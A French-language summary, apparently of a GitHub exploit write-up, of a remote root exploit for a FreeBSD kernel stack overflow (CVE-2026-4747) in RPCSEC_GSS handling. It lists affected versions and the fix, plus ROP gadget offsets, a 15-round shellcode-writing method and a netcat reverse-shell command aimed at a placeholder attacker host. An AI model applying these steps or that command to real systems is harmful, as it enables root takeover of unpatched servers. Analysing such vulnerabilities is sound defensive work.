Obtention d’un shell root via une RCE noyau distante sur FreeBSD (CVE-2026-4747)
(github.com/califio)- Le module
kgssapi.kode FreeBSD permet une exécution de code à distance à cause d’un stack buffer overflow lors du traitement de l’authentification RPCSEC_GSS - La fonction
svc_rpc_gss_validate()copie les données d’identification sans vérification des limites, jusqu’à écraser l’adresse de retour - Un attaquant peut utiliser un ticket Kerberos valide pour injecter une chaîne ROP noyau via le chemin RPCSEC_GSS d’un serveur NFS
- Grâce à un overflow en 15 étapes, il est possible d’écrire puis d’exécuter 432 octets de shellcode dans la zone BSS du noyau, afin d’obtenir un reverse shell avec les privilèges root
- Certaines versions de FreeBSD 13.5 à 15.0 sont affectées ; le correctif ajoute une logique de validation de
oa_length
CVE-2026-4747 — Stack buffer overflow RPCSEC_GSS dans kgssapi.ko de FreeBSD
- Vulnérabilité de stack buffer overflow survenant lors du traitement de l’authentification RPCSEC_GSS dans le module
kgssapi.kode FreeBSD - La fonction
svc_rpc_gss_validate()recopie les données d’identification sans contrôle des limites suroa_lengthlorsqu’elle reconstruit l’en-tête RPC dans un buffer de pile de 128 octets - Après l’en-tête fixe de 32 octets, toute information d’identification dépassant les 96 octets restants écrase les variables locales, les registres sauvegardés et jusqu’à l’adresse de retour
- Les versions FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) sont affectées
- Le correctif ajoute une condition vérifiant avant la copie si
oa_lengthdépasse la taille du buffer
Structure de l’overflow et impact
- L’analyse du prologue de la fonction montre que le tableau
rpchdrse trouve à[rbp-0xc0], et que la copie commence à[rbp-0xa0] - À partir de 96 octets, l’écriture déborde successivement sur RBX, R12 à R15, RBP, puis l’adresse de retour sauvegardée
- Dans l’attaque réelle, à cause de l’en-tête GSS et du handle de contexte de 16 octets, l’adresse de retour se situe au 200e octet du corps des identifiants
- Le code vulnérable n’est atteignable que via le chemin d’authentification RPCSEC_GSS du serveur NFS
- L’attaquant doit être un utilisateur disposant d’un ticket Kerberos valide, puis déclencher l’overflow à l’étape d’authentification RPCSEC_GSS (procédure DATA)
Mise en place de l’environnement d’attaque
- VM cible : FreeBSD 14.4-RELEASE amd64, serveur NFS activé,
kgssapi.kochargé, KDC MIT Kerberos en fonctionnement - Machine attaquante : Linux, module Python3
gssapiet client MIT Kerberos installés, accès à NFS (2049/TCP) et au KDC (88/TCP) - La configuration est possible sur divers hyperviseurs comme QEMU, VMware, VirtualBox ou bhyve
- Pour Kerberos, les paramètres
rdns=falseetdns_canonicalize_hostname=falsedanskrb5.confsont indispensables - Le nom d’hôte (
test) et le principal de service (nfs/test@TEST.LOCAL) doivent correspondre entre la VM et l’attaquant
Structure de l’exploit RCE noyau distant
- L’attaque repose sur un overflow multi-étapes en 15 rounds
- Création d’un nouveau contexte Kerberos GSS à chaque round
- Envoi d’un paquet RPCSEC_GSS DATA surdimensionné
- Écrasement de l’adresse de retour par un gadget ROP pour écrire des données en mémoire noyau ou exécuter le shellcode
- Appel à
kthread_exit()pour terminer proprement le thread NFS
- Chaque round utilise environ 200 octets de chaîne ROP et les 432 octets de shellcode sont transmis sur 15 envois
- FreeBSD crée 8 threads NFS par CPU, ce qui impose au minimum 2 CPU (16 threads)
Composition de la chaîne ROP
- Principaux gadgets ROP :
pop rdi; ret(K+0x1adcda)pop rsi; ret(K+0x1cdf98)pop rdx; ret(K+0x5fa429)pop rax; ret(K+0x400cb4)mov [rdi], rax; ret(0xffffffff80e3457c) — écriture arbitraire de 8 octets en mémoire noyau
- Round 1 : appel à
pmap_change_prot()pour rendre la zone BSS du noyau RWX - Rounds 2–14 : écriture du shellcode dans la BSS par blocs de 32 octets avec le gadget
mov [rdi], rax - Round 15 : écriture des 16 derniers octets, puis saut vers le point d’entrée du shellcode
Fonctionnement du shellcode
- Il s’exécute en mode noyau (CPL 0) et crée un processus de reverse shell avec les privilèges root
- Comme un appel direct à
execve()est impossible depuis le thread noyau NFS, l’exploit utilise une structure en deux étapes- Fonction d’entrée : création d’un nouveau processus noyau via
kproc_create(), puis sortie - Fonction worker : exécution de
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
- Fonction d’entrée : création d’un nouveau processus noyau via
- Initialisation du registre
DR7pour éviter les exceptions de debug - Suppression du flag
P_KPROCafin quefork_exit()emprunte le cheminuserretau lieu dekthread_exit() - Au final,
/bin/shs’exécute en mode utilisateur avec les privilèges uid 0 (root)
Principaux problèmes résolus
- Décalage d’offset des registres : le véritable offset RIP à 200 octets a été confirmé avec un motif De Bruijn
- Incompatibilité GSS MIT–Heimdal : le problème de normalisation du nom d’hôte a été résolu via la configuration de
krb5.conf - Héritage des registres de debug : initialisation de
DR7pour éviter l’exceptiontrap 1 - Limite de 400 octets : transmission fiable par blocs de 8 octets grâce à la combinaison
pop rdi + pop rax + mov [rdi], rax - Épuisement des threads NFS : chaque round termine 1 thread, d’où la nécessité d’au moins 2 CPU
Résumé du déroulement final de l’exploit
- L’attaquant obtient un ticket Kerberos puis envoie successivement 15 paquets d’overflow RPCSEC_GSS
- Round 1 : passage de la BSS en RWX
- Rounds 2–14 : écriture de 416 octets de shellcode
- Round 15 : écriture des 16 derniers octets et exécution du shellcode
- Le shellcode crée un nouveau processus avec
kproc_create()puis exécute/bin/sh - L’attaquant obtient un shell root via une session
nc - L’ensemble de l’opération prend environ 45 secondes et se réalise avec un total de 15 paquets RPC
Aucun commentaire pour le moment.